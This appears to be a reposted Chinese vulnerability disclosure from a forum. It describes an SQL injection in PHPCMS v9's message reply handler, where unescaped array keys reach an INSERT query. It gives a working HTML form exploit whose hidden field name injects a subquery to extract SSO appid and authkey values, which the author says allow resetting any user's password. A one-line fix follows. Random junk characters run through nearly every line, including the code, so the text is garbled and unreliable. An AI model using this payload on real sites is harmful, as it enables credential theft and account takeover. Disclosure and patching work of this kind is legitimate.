|
|
简要描述:6 w$ s' U' {! F; t! P' r/ r3 a
0 ^4 u' \+ |) B8 Q第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
0 _5 j/ n( \4 ]( b, }/ Q4 S' e) a6 V8 `% P
明天再更新下一个漏洞。
+ {9 A, p% q- i0 t$ f+ B; q. e& B详细说明:
0 i8 A0 H( j1 ]! q* T在/phpcms9/phpcms/modules/message/index.php中有代码如下:+ u0 l" F- R6 G- F' t# C& K# o
& _$ Q5 k& t& k) \
$messageid = $this->message_db->insert($_POST['info'],true);
/ [) X- {$ N6 X2 I t2 B4 Z* t* s0 S- {% I& k6 z
7 p9 g) z! |1 P5 L, D$ E
insert方法是key value的,代码如下:
+ @+ \/ N# T' b" t" l% r+ t( ~5 t* m- a; |4 [
public function insert($data, $table, $return_insert_id = false, $replace = false) {
0 ~- x q Z. \4 y; Z | if(!is_array( $data ) || $table == '' || count($data) == 0) {
7 q2 O8 v4 q8 I( ]3 A return false;) z! ~" \# U- \5 m: K4 h, z: V1 {0 f
}
0 ]8 @) J& ^$ P, y4 E , {5 T2 _8 z, M
$fielddata = array_keys($data);2 i2 q' y" h& z8 @; d* A
$valuedata = array_values($data);+ h7 y9 G% |2 _: F: z! {4 F4 g: a
array_walk($fielddata, array($this, 'add_special_char'));
+ D, V( _+ {' |! P array_walk($valuedata, array($this, 'escape_string'));$ u" S3 {1 [# a" ]2 q: ?9 R3 R
! G, L7 I! _6 V
$field = implode (',', $fielddata);
6 F0 |6 H9 Z% [3 W7 j# B $value = implode (',', $valuedata);. W' ~3 x6 G+ g0 n8 s; R: |3 L7 l
/ F" s9 m" T1 G8 ]6 D
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';9 u, T3 V3 J$ [% t! s% w: }; ]
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
" z. R- x1 x: E/ ^; r9 }7 s $return = $this->execute($sql);
0 C% S1 q% L; `0 k return $return_insert_id ? $this->insert_id() : $return;2 T. V1 O& h1 j
}- u/ j& u* u# D/ H4 V+ G. m7 y& B/ g7 N
1 u8 ^$ a/ s+ e& K$ w& z2 w
8 g/ ?; d1 m. n9 i6 z
嗯,很遗憾的是
( F% c( l7 ]9 {% _
5 U/ T& d: X1 ?% }! B1 n2 _array_walk($fielddata, array($this, 'add_special_char'));4 J8 Q2 Z) Q4 X4 d6 r, D# u
) K4 C+ O$ E( z: b- |' d9 |; n( P3 `/ o2 i1 B
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
# w) G3 T# O$ B0 Q' R f: x* P
8 b3 e+ B* ~7 C6 @# w* ?& B# a到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。4 X! X: t- x1 s+ w% W1 g
7 N }2 n+ w! u) p# W漏洞证明:
. m; G: g7 Z0 n2 N& U+ \: A读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。 s( V6 C+ b& w8 }
% X& U9 }/ c8 n- j w
3 U, x8 k, g. s) z表单如下:用户名什么的得自己改一改。
; W4 J# [) Z" H' x: ^: i<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">, Z. O% y5 A, P- U, K
<table width="100%" cellspacing="0" class="table_form">
8 j. k/ Z% X6 d% x3 l8 R<tr>4 n4 _; y$ W: t( M! J' |1 z8 I
<th>标 题:</th>
3 c ]1 s* W8 Z<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>+ g& Q" A+ T& X& Z
</tr> - I m; U$ E5 I6 x+ Z) }6 d! ?
<tr>
- A k! a0 G8 B4 g @<th>内 容:</th>3 w1 ~+ ], |: Y
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>2 l' g* E, c; W8 l8 L( }
</tr>
8 C7 `" a& m) [7 C<input type="hidden" name="info[replyid]" value="2" />
3 |* ?. H3 V* h" X3 {2 A4 F' R6 @2 ~<input type="hidden" name="info[send_to_id]" value="cc" />
2 b# K8 d6 Z' C- U. h; K7 `/ v<input type="hidden" name="info[send_from_id]" value="hh">6 S4 a9 V0 N0 Z$ ]
<!-- 漏洞的利用重点在这里开始 -->) B! h+ ], @+ s7 c" `
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
1 F5 g6 _ h* U9 L: G! z<!-- 漏洞的利用重点在这里结束 -->1 v8 _+ G# K* W! z7 j% Z( F
<tr>
/ k6 E+ R4 z- H/ C1 Z: J7 B( v& Z<th>验证码:</th>
5 B, G% A3 w! S<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>; p; _0 D; W- W5 e, D
</tr>! N+ l' r6 B: y$ P0 d) R2 L" j1 T
<tr>
. v! c6 H9 |! F3 R @<td></td>3 L/ a# h4 ^ l/ a2 s+ D- K b" r5 W
<td colspan="2"><label>! D6 N# E; Q: U. w! I8 J$ v3 W
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>7 I/ a8 P6 X% q: t* ?7 `
</label></td>
+ P. |( |7 |9 |; }5 [5 f</tr>7 x5 ^) C; i0 s' Q7 D( x$ V% g
</table>
3 l* c1 B& C% R2 ~- B& H. d</form>3 Q4 }: ? _) I$ l" S1 O8 F; q
在add_special_char函数内对key做过滤就可以了。% a& h0 j5 F8 [7 @) h) o, ]
/ S7 {' p: a8 U/ W, W( G3 m4 U1 E, d9 h
G, Y- D5 T" ^4 l |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|